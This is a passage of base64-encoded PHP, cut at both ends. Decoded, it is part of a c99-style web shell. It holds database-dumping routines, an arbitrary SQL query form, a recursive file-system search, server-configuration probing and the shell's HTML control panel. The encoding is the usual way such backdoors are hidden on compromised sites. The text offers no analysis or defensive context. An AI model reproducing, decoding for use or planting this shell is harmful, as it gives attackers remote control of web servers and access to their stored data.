WxfZ2V0X3NlcnZlcl9pbmZvKCkuIikgcnVubmluZyBvbiAiLmdldGVudigiU0VSVkVSX0FERFIiKS4iICgiLmdldGVudigiU0VSVkVSX05BTUUiKS4iKSIuIiAKIyBEYXRlOiAiLmRhdGUoImQubS5ZIEg6aTpzIikuIiAKIyBEQjogXCIiLiRkYi4iXCIgCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gCiI7IAokYyA9IGNvdW50KCRvbmx5dGFicyk7IAoJZm9yZWFjaCgkdGFicyBhcyAkdGFiKSAKeyAKCWlmICgoaW5fYXJyYXkoJHRhYiwkb25seXRhYnMpKSBvciAoISRjKSkgCnsgCglpZiAoJGFkZF9kcm9wKSB7JG91dCAuPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYCIuJHRhYi4iYDtcbiI7fSAKLy8gcmVjaWV2ZSBxdWVyeSBmb3IgY3JlYXRlIHRhYmxlIHN0cnVjdHVyZSAKJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSBgIi4kdGFiLiJgIiwgJHNvY2spOyAKCWlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteXNxbF9zbWFydGVycm9yKCk7IH0gZWxzZSB7IAokcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpOyAKJG91dCAuPSAkcm93WyIxIl0uIjtcblxuIjsgCi8vIHJlY2lldmUgdGFibGUgdmFyaWFibGVzIAokcmVzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gYCR0YWJgIiwgJHNvY2spOyAKaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkgCnsgCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzKSkgCnsgCiRrZXlzID0gaW1wbG9kZSgiYCwgYCIsIGFycmF5X2tleXMoJHJvdykpOyAKJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsgCiAgICAgIGZvcmVhY2goJHZhbHVlcyBhcyAkaz0+JHYpIHskdmFsdWVzWyRrXSA9IGFkZHNsYXNoZXMoJHYpO30gCiR2YWx1ZXMgPSBpbXBsb2RlKCInLCAnIiwgJHZhbHVlcyk7IAokc3FsID0gIklOU0VSVCBJTlRPIGAkdGFiYChgIi4ka2V5cy4iYCkgVkFMVUVTICgnIi4kdmFsdWVzLiInKTtcbiI7IAokb3V0IC49ICRzcWw7IAogICAgIH0gCiAgICB9IAogICB9IAogIH0gCiB9IAokb3V0IC49ICIjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG5cbiI7IAoJaWYgKCRmaWxlKSAKIHsgCiRmcCA9IGZvcGVuKCRmaWxlLCAidyIpOyAKCWlmICghJGZwKSB7JHJldFsiZXJyIl1bXSA9IDI7IH0gZWxzZSB7IAoJZndyaXRlICgkZnAsICRvdXQpOyAKCWZjbG9zZSAoJGZwKTsgCiAgfSAKIH0gCmlmICgkcHJpbnQpIHtpZiAoJG5sMmJyKSB7ZWNobyBubDJicigkb3V0KTt9IGVsc2Uge2VjaG8gJG91dDt9fSAKcmV0dXJuICRvdXQ7IAogfSAKfSAKaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2J1aWxkd2hlcmUiKSkgCnsgCmZ1bmN0aW9uIG15c3FsX2J1aWxkd2hlcmUoJGFycmF5LCRzZXA9IiBhbmQiLCRmdW5jdHM9YXJyYXkoKSkgCnsgCiBpZiAoIWlzX2FycmF5KCRhcnJheSkpIHskYXJyYXkgPSBhcnJheSgpO30gCiAkcmVzdWx0ID0gIiI7IAogZm9yZWFjaCgkYXJyYXkgYXMgJGs9PiR2KSAKIHsgCiAgJHZhbHVlID0gIiI7IAogIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICRmdW5jdHNbJGtdLiIoIjt9IAogICR2YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOyAKICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAiKSI7fSAKICAkcmVzdWx0IC49ICJgIi4kay4iYCA9ICIuJHZhbHVlLiRzZXA7IAogfSAKICRyZXN1bHQgPSBzdWJzdHIoJHJlc3VsdCwwLHN0cmxlbigkcmVzdWx0KS1zdHJsZW4oJHNlcCkpOyAKIHJldHVybiAkcmVzdWx0OyAKIH0gCn0gCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9mZXRjaF9hbGwiKSkgCnsgCmZ1bmN0aW9uIG15c3FsX2ZldGNoX2FsbCgkcXVlcnksJHNvY2spIAp7IAogaWYgKCRzb2NrKSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkc29jayk7Cgl9IGVsc2UgewokcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9IAokYXJyYXkgPSBhcnJheSgpOyAKCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskYXJyYXlbXSA9ICRyb3c7fSAKCW15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOyAKCXJldHVybiAkYXJyYXk7IAogfSAKfSAKaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3NtYXJ0ZXJyb3IiKSkgCnsgCmZ1bmN0aW9uIG15c3FsX3NtYXJ0ZXJyb3IoJHR5cGUsJHNvY2spIAp7IAogaWYgKCRzb2NrKSB7JGVycm9yID0gbXlzcWxfZXJyb3IoJHNvY2spOwoJfSBlbHNlIHsKJGVycm9yID0gbXlzcWxfZXJyb3IoKTt9IAokZXJyb3IgPSBodG1sc3BlY2lhbGNoYXJzKCRlcnJvcik7IApyZXR1cm4gJGVycm9yOyAKIH0gCn0gCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9xdWVyeV9mb3JtIikpIAp7IApmdW5jdGlvbiBteXNxbF9xdWVyeV9mb3JtKCkgCnsgCmdsb2JhbCAkc3VibWl0LCRzcWxfYWN0LCRzcWxfcXVlcnksJHNxbF9xdWVyeV9yZXN1bHQsJHNxbF9jb25maXJtLCRzcWxfcXVlcnlfZXJyb3IsJHRibF9zdHJ1Y3Q7IAppZiAoKCRzdWJtaXQpIGFuZCAoISRzcWxfcXVlcnlfcmVzdWx0KSBhbmQgKCRzcWxfY29uZmlybSkpIHtpZiAoISRzcWxfcXVlcnlfZXJyb3IpIHskc3FsX3F1ZXJ5X2Vycm9yID0gIlF1ZXJ5IHdhcyBlbXB0eSI7fSBlY2hvICJFcnJvcjogPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fSAKaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfYWN0ID0gJHNxbF9nb3RvO30gCmlmICgoISRzdWJtaXQpIG9yICgkc3FsX2FjdCkpIAp7IAplY2hvICI8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZD48Zm9ybSBuYW1lPVwiVHVYX3NxbHF1ZXJ5XCIgbWV0aG9kPVBPU1Q+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0byI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkiO30gZWNobyAiOjxicj48YnI+PHRleHRhcmVhIG5hbWU9c3FsX3F1ZXJ5IGNvbHM9MTAwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eHR1eCB2YWx1ZT1zcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX2FjdCB2YWx1ZT1xdWVyeT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfdGJsIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3VibWl0IHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zcWxfY29uZmlybSB2YWx1ZT1cIlllc1wiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+IjsgCiAgaWYgKCR0Ymxfc3RydWN0KSAKICB7IAogICBlY2hvICI8dGQgdmFsaWduPVwidG9wXCI+RmllbGRzOjxicj4iOyAKICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3QgYXMgJGZpZWxkKSB7JG5hbWUgPSAkZmllbGRbIkZpZWxkIl07IGVjaG8gIisgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuVHVYX3NxbHF1ZXJ5LnNxbF9xdWVyeS52YWx1ZSs9J2AiLiRuYW1lLiJgJztcIj4iLiRuYW1lLiI8L2E+PGJyPiI7fSAKICAgZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsgCiAgfSAKIH0gCiBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9xdWVyeSA9ICRzcWxfbGFzdF9xdWVyeTt9IAogfSAKfSAKaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2NyZWF0ZV9kYiIpKSAKeyAKZnVuY3Rpb24gbXlzcWxfY3JlYXRlX2RiKCRkYiwkc29jaz0iIikgCnsgCiRzcWwgPSAiQ1JFQVRFIERBVEFCQVNFIGAiLmFkZHNsYXNoZXMoJGRiKS4iYDsiOyAKCWlmICgkc29jaykge3JldHVybiBteXNxbF9xdWVyeSgkc3FsLCRzb2NrKTsKCX0gZWxzZSB7CglyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCk7fSAKIH0gCn0gCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9xdWVyeV9wYXJzZSIpKSAKeyAKZnVuY3Rpb24gbXlzcWxfcXVlcnlfcGFyc2UoJHF1ZXJ5KSAKeyAKICRxdWVyeSA9IHRyaW0oJHF1ZXJ5KTsgCiAkYXJyID0gZXhwbG9kZSAoIiAiLCRxdWVyeSk7CiAkdHlwZXMgPSBhcnJheSggCiAgIlNFTEVDVCI9PmFycmF5KDMsMSksIAogICJTSE9XIj0+YXJyYXkoMiwxKSwgCiAgIkRFTEVURSI9PmFycmF5KDEpLCAKICAiRFJPUCI9PmFycmF5KDEpIAogKTsgCiAkcmVzdWx0ID0gYXJyYXkoKTsgCiAkb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOyAKIGlmIChpc19hcnJheSgkdHlwZXNbJG9wXSkpIAogeyAKICAkcmVzdWx0WyJwcm9wZXJ0aW9ucyJdID0gJHR5cGVzWyRvcF07IAogICRyZXN1bHRbInF1ZXJ5Il0gID0gJHF1ZXJ5OyAKICBpZiAoJHR5cGVzWyRvcF0gPT0gMikgCiAgeyAKICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikgCiAgIHsgCiAgICBpZiAoc3RydG91cHBlcigkdikgPT0gIkxJTUlUIikgCiAgICB7IAogICAgICRyZXN1bHRbImxpbWl0Il0gPSAkYXJyWyRrKzFdOyAKICAgICAkcmVzdWx0WyJsaW1pdCJdID0gZXhwbG9kZSgiLCIsJHJlc3VsdFsibGltaXQiXSk7IAogICAgIGlmIChjb3VudCgkcmVzdWx0WyJsaW1pdCJdKSA9PSAxKSB7JHJlc3VsdFsibGltaXQiXSA9IGFycmF5KDAsJHJlc3VsdFsibGltaXQiXVswXSk7fSAKICAgICB1bnNldCgkYXJyWyRrXSwkYXJyWyRrKzFdKTsgCiAgICB9IAogICB9IAogIH0gCiB9IGVsc2UgewpyZXR1cm4gRkFMU0U7fSAKIH0gCn0gCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlmc2VhcmNoIikpIAp7IApmdW5jdGlvbiBjOTlmc2VhcmNoKCRkKSAKeyAKIGdsb2JhbCAkZm91bmQ7IAogZ2xvYmFsICRmb3VuZF9kOyAKIGdsb2JhbCAkZm91bmRfZjsgCiBnbG9iYWwgJHNlYXJjaF9pX2Y7IAogZ2xvYmFsICRzZWFyY2hfaV9kOyAKIGdsb2JhbCAkYTsgCiBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9IAogJGggPSBvcGVuZGlyKCRkKTsgCiB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgCiB7IAogIGlmKCRmICE9ICIuIiAmJiAkZiAhPSAiLi4iKSAKICB7IAogICAkYm9vbCA9IChlbXB0eSgkYVsibmFtZV9yZWdleHAiXSkgYW5kIHN0cnBvcygkZiwkYVsibmFtZSJdKSAhPT0gRkFMU0UpIHx8ICgkYVsibmFtZV9yZWdleHAiXSBhbmQgZXJlZygkYVsibmFtZSJdLCRmKSk7IAogICBpZiAoaXNfZGlyKCRkLiRmKSkgCiAgIHsgCiAgICAkc2VhcmNoX2lfZCsrOyAKICAgIGlmIChlbXB0eSgkYVsidGV4dCJdKSBhbmQgJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZCsrO30gCiAgICBpZiAoIWlzX2xpbmsoJGQuJGYpKSB7Yzk5ZnNlYXJjaCgkZC4kZik7fSAKICAgfSBlbHNlIHsgCiAgICAkc2VhcmNoX2lfZisrOyAKICAgIGlmICgkYm9vbCkgCiAgICB7IAogICAgIGlmICghZW1wdHkoJGFbInRleHQiXSkpIAogICAgIHsgCgkkciA9IEBmaWxlX2dldF9jb250ZW50cygkZC4kZik7IAoJaWYgKCRhWyJ0ZXh0X3d3byJdKSB7JGFbInRleHQiXSA9ICIgIi50cmltKCRhWyJ0ZXh0Il0pLiIgIjt9IAoJaWYgKCEkYVsidGV4dF9jcyJdKSB7JGFbInRleHQiXSA9IHN0cnRvbG93ZXIoJGFbInRleHQiXSk7ICRyID0gc3RydG9sb3dlcigkcik7fSAKCWlmICgkYVsidGV4dF9yZWdleHAiXSkgeyRib29sID0gZXJlZygkYVsidGV4dCJdLCRyKTsgfSBlbHNlIHsKCSRib29sID0gc3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDEpO30gCglpZiAoJGFbInRleHRfbm90Il0pIHskYm9vbCA9ICEkYm9vbDt9IAoJaWYgKCRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9IAoJfSBlbHNlIHsKCSRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fSAKICAgIH0gCiAgIH0gCiAgfSAKIH0gCiBjbG9zZWRpcigkaCk7IAogfSAKfSAKaWYgKCR4dHV4ID09ICJnb2ZpbGUiKSB7aWYgKGlzX2RpcigkZikpIHskeHR1eCA9ICJscyI7ICRkID0gJGY7fSBlbHNlIHskeHR1eCA9ICJmIjsgJGQgPSBkaXJuYW1lKCRmKTsgJGYgPSBiYXNlbmFtZSgkZik7fX0gCi8vU2VuZGluZyBoZWFkZXJzIApAb2Jfc3RhcnQoKTsgCkBvYl9pbXBsaWNpdF9mbHVzaCgwKTsgCmZ1bmN0aW9uIG9ucGhwc2h1dGRvd24oKSAKeyAKIGdsb2JhbCAkZ3ppcGVuY29kZSwkZnQ7IAogaWYgKCFoZWFkZXJzX3NlbnQoKSBhbmQgJGd6aXBlbmNvZGUgYW5kICFpbl9hcnJheSgkZnQsYXJyYXkoImltZyIsImRvd25sb2FkIiwibm90ZXBhZCIpKSkgCiB7IAogICR2ID0gQG9iX2dldF9jb250ZW50cygpOyAKICBAb2JfZW5kX2NsZWFuKCk7IAogIEBvYl9zdGFydCgib2JfZ3pIYW5kbGVyIik7IAogIGVjaG8gJHY7IAogIEBvYl9lbmRfZmx1c2goKTsgCiB9IAp9IApmdW5jdGlvbiBUdVhleGl0KCkgCnsgCiBvbnBocHNodXRkb3duKCk7IAogZXhpdDsgCn0gCmhlYWRlcigiRXhwaXJlczogTW9uLCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsgCmhlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5nbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikuIiBHTVQiKTsgCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsgCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCIsIEZBTFNFKTsgCmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOyAKaWYgKGVtcHR5KCR0bXBkaXIpKSAKeyAKICR0bXBkaXIgPSBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpOyAKIGlmIChpc19kaXIoJHRtcGRpcikpIHskdG1wZGlyID0gIi90bXAvIjt9IAp9IAokdG1wZGlyID0gcmVhbHBhdGgoJHRtcGRpcik7IAokdG1wZGlyID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0bXBkaXIpOyAKaWYgKHN1YnN0cigkdG1wZGlyLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHRtcGRpciAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30gCmlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKSB7JHRtcGRpcl9sb2dzID0gJHRtcGRpcjsgfSBlbHNlIHsKJHRtcGRpcl9sb2dzID0gcmVhbHBhdGgoJHRtcGRpcl9sb2dzKTt9IAppZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKSAKeyAKCSRzYWZlbW9kZSA9IFRSVUU7IAoJJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1yZWQ+QWN0aXZhdGVkPC9mb250PiI7ICB9IGVsc2UgewoJJHNhZmVtb2RlID0gRkFMU0U7ICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9Z3JlZW4+RGVhY3RpdmF0ZWQ8L2ZvbnQ+Ijt9IAoJJHYgPSBAaW5pX2dldCgib3Blbl9iYXNlZGlyIik7IAppZiAoJHYgb3Igc3RydG9sb3dlcigkdikgPT0gIm9uIikgeyRvcGVuYmFzZWRpciA9IFRSVUU7ICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9cmVkPiIuJHYuIjwvZm9udD4iOwp9IGVsc2Ugewokb3BlbmJhc2VkaXIgPSBGQUxTRTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1ncmVlbj5EZWFjdGl2YXRlZDwvZm9udD4iO30gCiRzb3J0ID0gaHRtbHNwZWNpYWxjaGFycygkc29ydCk7IAppZiAoZW1wdHkoJHNvcnQpKSB7JHNvcnQgPSAkc29ydF9kZWZhdWx0O30gCiRzb3J0WzFdID0gc3RydG9sb3dlcigkc29ydFsxXSk7IAokRElTUF9TRVJWRVJfU09GVFdBUkUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOyAKaWYgKCFlcmVnKCJQSFAvIi5waHB2ZXJzaW9uKCksJERJU1BfU0VSVkVSX1NPRlRXQVJFKSkgeyRESVNQX1NFUlZFUl9TT0ZUV0FSRSAuPSAiLiBQSFAvIi5waHB2ZXJzaW9uKCk7fSAKJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gc3RyX3JlcGxhY2UoIlBIUC8iLnBocHZlcnNpb24oKSwiPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9cGhwaW5mb1wiIHRhcmdldD1cIl9ibGFua1wiPlBIUC8iLnBocHZlcnNpb24oKS4iPC9hPiIsaHRtbHNwZWNpYWxjaGFycygkRElTUF9TRVJWRVJfU09GVFdBUkUpKTsgCkBpbmlfc2V0KCJoaWdobGlnaHQuYmciLCRoaWdobGlnaHRfYmcpOyAvL0ZGRkZGRiAKQGluaV9zZXQoImhpZ2hsaWdodC5jb21tZW50IiwkaGlnaGxpZ2h0X2NvbW1lbnQpOyAvLyNGRjgwMDAgCkBpbmlfc2V0KCJoaWdobGlnaHQuZGVmYXVsdCIsJGhpZ2hsaWdodF9kZWZhdWx0KTsgLy8jMDAwMEJCIApAaW5pX3NldCgiaGlnaGxpZ2h0Lmh0bWwiLCRoaWdobGlnaHRfaHRtbCk7IC8vIzAwMDAwMCAKQGluaV9zZXQoImhpZ2hsaWdodC5rZXl3b3JkIiwkaGlnaGxpZ2h0X2tleXdvcmQpOyAvLyMwMDc3MDAgCkBpbmlfc2V0KCJoaWdobGlnaHQuc3RyaW5nIiwkaGlnaGxpZ2h0X3N0cmluZyk7IC8vI0REMDAwMCAKaWYgKCFpc19hcnJheSgkeHR1eGJveCkpIHskeHR1eGJveCA9IGFycmF5KCk7fSAKJGRzcGFjdCA9ICR4dHV4ID0gaHRtbHNwZWNpYWxjaGFycygkeHR1eCk7IAokZGlzcF9mdWxscGF0aCA9ICRsc19hcnIgPSAkbm90bHMgPSBudWxsOyAKJHVkID0gdXJsZW5jb2RlKCRkKTsgCj8+PGh0bWw+PGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1MSI+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIj4KPHRpdGxlPiYjNjA7JiM2MDsgYmFjayB8IDw/cGhwIGVjaG8gZ2V0ZW52KCJIVFRQX0hPU1QiKTsgPz4gLTwvdGl0bGU+CjxTVFlMRT4KVEQgeyBGT05ULVNJWkU6IDhwdDsgQ09MT1I6ICMwMDk5MDA7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyB9CmJvZHkgeyBzY3JvbGxiYXItZmFjZS1jb2xvcjogIzAwOTkwMDsgc2Nyb2xsYmFyLXNoYWRvdy1jb2xvcjogIzAwMDAwMDsgc2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xvcjogIzAwQ0MwMDsgCnNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjMDBDQzAwOyBzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzAwOTkwMDsgc2Nyb2xsYmFyLXRyYWNrLWNvbG9yOiAjMTAxMDEwOyAKc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjMTAxMDEwOyBiYWNrZ3JvdW5kOnVybChodHRwOi8vd3d3LmJsYWNraGF0LmNvbS9pbWFnZXMvYm9keS1iZy5wbmcpIG5vLXJlcGVhdDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6QXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsgfQpURC5oZWFkZXIgeyBGT05ULVdFSUdIVDogbm9ybWFsOyBGT05ULVNJWkU6IDEwcHQ7IEJBQ0tHUk9VTkQ6IHRyYW5zcGFyZW50OyBDT0xPUjogZ3JlZW47IGZvbnQtZmFtaWx5OkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7fQpBIHsgZm9udC13ZWlnaHQ6IG5vcm1hbDsgQ09MT1I6ICNmZjY2MDA7IGZvbnQtZmFtaWx5OkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9CkE6dW5rbm93biB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9SOiAjZmY2NjAwOyBGT05ULUZBTUlMWTogdmVyZGFuYTsgVEVYVC1ERUNPUkFUSU9OOiBub25lO30KQS5MaW5rcyB7IENPTE9SOiAjZmY2NjAwOyBURVhULURFQ09SQVRJT046IG5vbmU7fQpBLkxpbmtzOnVua25vd24geyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2ZmNjYwMDsgVEVYVC1ERUNPUkFUSU9OOiBub25lO30KQTpob3ZlciB7IENPTE9SOiAjOTkwMDAwOyBURVhULURFQ09SQVRJT046IGJvbGQ7fQouc2tpbjAgeyBwb3NpdGlvbjphYnNvbHV0ZTsgd2lkdGg6MjAwcHg7IGJvcmRlcjoycHggc29saWQgYmxhY2s7IGJhY2tncm91bmQtY29sb3I6bWVudTsgZm9udC1mYW1pbHk6VmVyZGFuYTsgbGluZS1oZWlnaHQ6MjBweDsgY3Vyc29yOmRlZmF1bHQ7IHZpc2liaWxpdHk6aGlkZGVuOzt9Ci5za2luMSB7IGN1cnNvcjogZGVmYXVsdDsgZm9udDogbWVudXRleHQ7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgd2lkdGg6IDE0NXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiBtZW51OyBib3JkZXI6IDEgc29saWQgYnV0dG9uZmFjZTsgdmlzaWJpbGl0eTpoaWRkZW47IGJvcmRlcjogMiBvdXRzZXQgYnV0dG9uaGlnaGxpZ2h0OyBmb250LWZhbWlseTogVmVyZGFuYSxHZW5ldmEsIEFyaWFsOyBmb250LXNpemU6IDEwcHg7IGNvbG9yOiBibGFjazt9Ci5tZW51aXRlbXMgeyBwYWRkaW5nLWxlZnQ6MTVweDsgcGFkZGluZy1yaWdodDoxMHB4O30KaW5wdXQgeyBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9CnRleHRhcmVhIHsgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fQpidXR0b24geyBiYWNrZ3JvdW5kLWNvbG9yOiAjOTkwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O30Kc2VsZWN0IHsgYmFja2dyb3VuZC1jb2xvcjogIzk5MDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9Cm9wdGlvbiB7IGJhY2tncm91bmQtY29sb3I6ICM5OTAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fQppZnJhbWUgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjOTkwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O30KcCB7IE1BUkdJTi1UT1A6IDBweDsgTUFSR0lOLUJPVFRPTTogMHB4OyBMSU5FLUhFSUdIVDogMTUwJSB9CmJsb2NrcXVvdGUgeyBmb250LXNpemU6IDhwdDsgZm9udC1mYW1pbHk6IENvdXJpZXIsIEZpeGVkLCBBcmlhbDsgYm9yZGVyIDogOHB4IHNvbGlkICMwMDk5MDA7IHBhZGRpbmc6IDFlbTsgCm1hcmdpbi10b3A6IDFlbTsgbWFyZ2luLWJvdHRvbTogNWVtOyBtYXJnaW4tcmlnaHQ6IDNlbTsgbWFyZ2luLWxlZnQ6IDRlbTsgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IH0KYm9keSx0ZCx0aCB7IGZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBjb2xvcjogI2Q5ZDlkOTsgZm9udC1zaXplOiAxMXB4OyB9CiNkcmFnb24geyBwb3NpdGlvbjphYnNvbHV0ZTsgei1pbmRleDo5OTsgdG9wOi0xcHg7IHJpZ2h0OjIwcHg7IH0KI2Zvb3RlciB7IHRleHQtYWxpZ246Y2VudGVyOyBjb2xvcjojOTkwMDAwOyBmb250LXNpemU6OHB4OyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGxldHRlci1zcGFjaW5nOi4xNWVtOyB9Cjwvc3R5bGU+PC9oZWFkPgo8Qk9EWSB0ZXh0PSM5OTAwMCBib3R0b21NYXJnaW49MCBiZ0NvbG9yPXRyYW5zcGFyZW50IGxlZnRNYXJnaW49MCB0b3BNYXJnaW49MCByaWdodE1hcmdpbj0wIG1hcmdpbmhlaWdodD0wIG1hcmdpbndpZHRoPTA+PGNlbnRlcj4KPFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTkwMDAwIGNlbGxQYWRkaW5nPTUgd2lkdGg9Ijk1J